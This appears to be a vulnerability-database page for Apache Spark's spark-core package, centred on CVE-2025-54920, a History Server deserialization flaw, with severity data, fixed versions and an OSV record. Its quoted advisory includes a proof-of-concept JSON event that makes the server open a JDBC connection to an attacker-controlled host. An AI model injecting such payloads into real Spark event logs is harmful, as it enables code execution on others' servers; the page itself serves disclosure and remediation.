Vulnerabilities in pkg:maven/org.apache.spark/spark-core_2.11

PACKAGE
Advisory Identifier: GHSA-jwp6-cvj8-fw65
Advisory Summary

CVE-2025-54920 is a HIGH (CVSS 8.8) spark history server code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Apache Spark libraries in the Maven ecosystem. The issue involves spark history server code execution vulnerability. Remediation is available by upgrading affected packages to version 4.0.1, 3.5.7.

10 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.apache.spark/spark-core_2.11

10 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.apache.spark/spark-core_2.11. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-jwp6-cvj8-fw65 CVE-2025-54920 HIGH Apache Spark: Spark History Server Code Execution Vulnerability
GHSA-43xg-8wmj-cw8h CVE-2022-31777 MODERATE Apache Spark vulnerable to Log Injection
GHSA-62g2-m955-v383 CVE-2018-11804 HIGH Improper Input Validation in Apache Spark
GHSA-8rhc-48pp-52gr CVE-2017-12612 HIGH Apache Spark Deserialization of Untrusted Data vulnerability
GHSA-fp5j-3fpf-mhj5 CVE-2019-10099 HIGH Sensitive data written to disk unencrypted in Spark
GHSA-6mqq-8r44-vmjc CVE-2018-1334 MODERATE Exposure of Sensitive Information to an Unauthorized Actor in Apache Spark
GHSA-w4r4-65mg-45x2 CVE-2018-11770 MODERATE org.apache.spark:spark-core_2.10 and org.apache.spark:spark-core_2.11 Improper Authentication vulnerability
GHSA-8cw6-5qvp-q3wj CVE-2018-8024 MODERATE Exposure of Sensitive Information to an Unauthorized Actor in Apache Spark via crafted URL
GHSA-phg2-9c5g-m4q7 CVE-2018-17190 CRITICAL Remote Code Execution in spark-core
GHSA-r34r-f84j-5x4x CVE-2017-7678 MODERATE Moderate severity vulnerability that affects org.apache.spark:spark-core_2.10 and org.apache.spark:spark-core_2.11

CVE-2025-54920 at a Glance

CVE Identifier CVE-2025-54920
GHSA Identifier GHSA-jwp6-cvj8-fw65
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Apache Spark
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-54920

To remediate this vulnerability, upgrade all affected Apache Spark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.apache.spark:spark-core_2.13 fixed: 4.0.1
<dependency>
    <groupId>org.apache.spark</groupId>
    <artifactId>spark-core_2.13</artifactId>
    <version>4.0.1</version>
</dependency>
org.apache.spark:spark-core_2.13 fixed: 3.5.7
<dependency>
    <groupId>org.apache.spark</groupId>
    <artifactId>spark-core_2.13</artifactId>
    <version>3.5.7</version>
</dependency>
org.apache.spark:spark-core_2.12 fixed: 3.5.7
<dependency>
    <groupId>org.apache.spark</groupId>
    <artifactId>spark-core_2.12</artifactId>
    <version>3.5.7</version>
</dependency>
org.apache.spark:spark-core_2.11 fixed: Latest secure release
<dependency>
    <groupId>org.apache.spark</groupId>
    <artifactId>spark-core_2.11</artifactId>
    <version>Latest secure release</version>
</dependency>
org.apache.spark:spark-core_2.10 fixed: Latest secure release
<dependency>
    <groupId>org.apache.spark</groupId>
    <artifactId>spark-core_2.10</artifactId>
    <version>Latest secure release</version>
</dependency>
org.apache.spark:spark-core_2.9.3 fixed: Latest secure release
<dependency>
    <groupId>org.apache.spark</groupId>
    <artifactId>spark-core_2.9.3</artifactId>
    <version>Latest secure release</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.apache.spark

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2025-54920, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.apache.spark

Analyze the terminal output to locate any version of Apache Spark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.1), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.apache.spark command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Apache Spark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. ## Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. ## Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. ## Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: ``` { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } ``` 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. ## Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

CVE-2025-54920 Affected Apache Spark Versions

6 component(s)
Fixed Versions:
4.0.13.5.7
Product / Package Ecosystem Affected Versions Fixed Version
org.apache.spark:spark-core_2.13
Maven
≥ 4.0.0
< 4.0.1
4.0.1
org.apache.spark:spark-core_2.13
Maven
< 3.5.7
3.5.7
org.apache.spark:spark-core_2.12
Maven
< 3.5.7
3.5.7
org.apache.spark:spark-core_2.11
Maven
≤ 2.4.8
org.apache.spark:spark-core_2.10
Maven
≤ 2.2.3
org.apache.spark:spark-core_2.9.3
Maven
≤ 0.8.1-incubating

References

Frequently Asked Questions

What is CVE-2025-54920?
CVE-2025-54920 is a security vulnerability in Apache Spark involving Spark History Server Code Execution Vulnerability under CWE-502: Deserialization of Untrusted Data.
Which Apache Spark versions are affected?
Affected versions include releases prior to 4.0.1, 3.5.7 across affected packages: org.apache.spark:spark-core_2.13, org.apache.spark:spark-core_2.12, org.apache.spark:spark-core_2.11, org.apache.spark:spark-core_2.10, org.apache.spark:spark-core_2.9.3.
What version fixes CVE-2025-54920?
Upgrading to 4.0.1, 3.5.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is spark-core_2.13 affected?
Yes, org.apache.spark:spark-core_2.13 is affected in releases prior to 4.0.1, 3.5.7. Upgrade your dependency to 4.0.1, 3.5.7 or later.
Is spark-core_2.12 affected?
Yes, org.apache.spark:spark-core_2.12 is affected in releases prior to 3.5.7. Upgrade your dependency to 3.5.7 or later.
What is the CVSS score of CVE-2025-54920?
CVE-2025-54920 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-54920?
CVE-2025-54920 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check Maven dependencies for CVE-2025-54920?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.apache.spark'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jwp6-cvj8-fw65",
  "modified" : "2026-03-17T19:53:20Z",
  "published" : "2026-03-16T15:30:41Z",
  "aliases" : [ "CVE-2025-54920" ],
  "summary" : "Apache Spark: Spark History Server Code Execution Vulnerability",
  "details" : "This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.\n\n## Summary\n\nApache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.\n\n## Details\n\nThe vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.\n\nThe attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.\n\n## Proof of Concept:\n\n1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).\n\n2. Inject the following JSON at the beginning of an event log file:\n\n```\n{\n\n  \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n  \"uri\": \"jdbc:hive2://<IP>:<PORT>/\",\n  \"info\": {\n    \"hive.metastore.uris\": \"thrift://<IP>:<PORT>\"\n  }\n}\n```\n3. Start the Spark History Server with logs pointing to the modified directory.\n\n4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.\n\n## Impact\n\nAn attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.spark:spark-core_2.13"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.spark:spark-core_2.13"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.5.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.spark:spark-core_2.12"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.5.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.spark:spark-core_2.11"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.4.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.spark:spark-core_2.10"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.2.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.spark:spark-core_2.9.3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.8.1-incubating"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54920"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apache/spark/pull/51312"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apache/spark/pull/51323"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apache/spark"
  }, {
    "type" : "WEB",
    "url" : "https://issues.apache.org/jira/browse/SPARK-52381"
  }, {
    "type" : "WEB",
    "url" : "https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2026/03/13/4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-17T19:53:20Z",
    "nvd_published_at" : "2026-03-16T14:17:59Z"
  }
}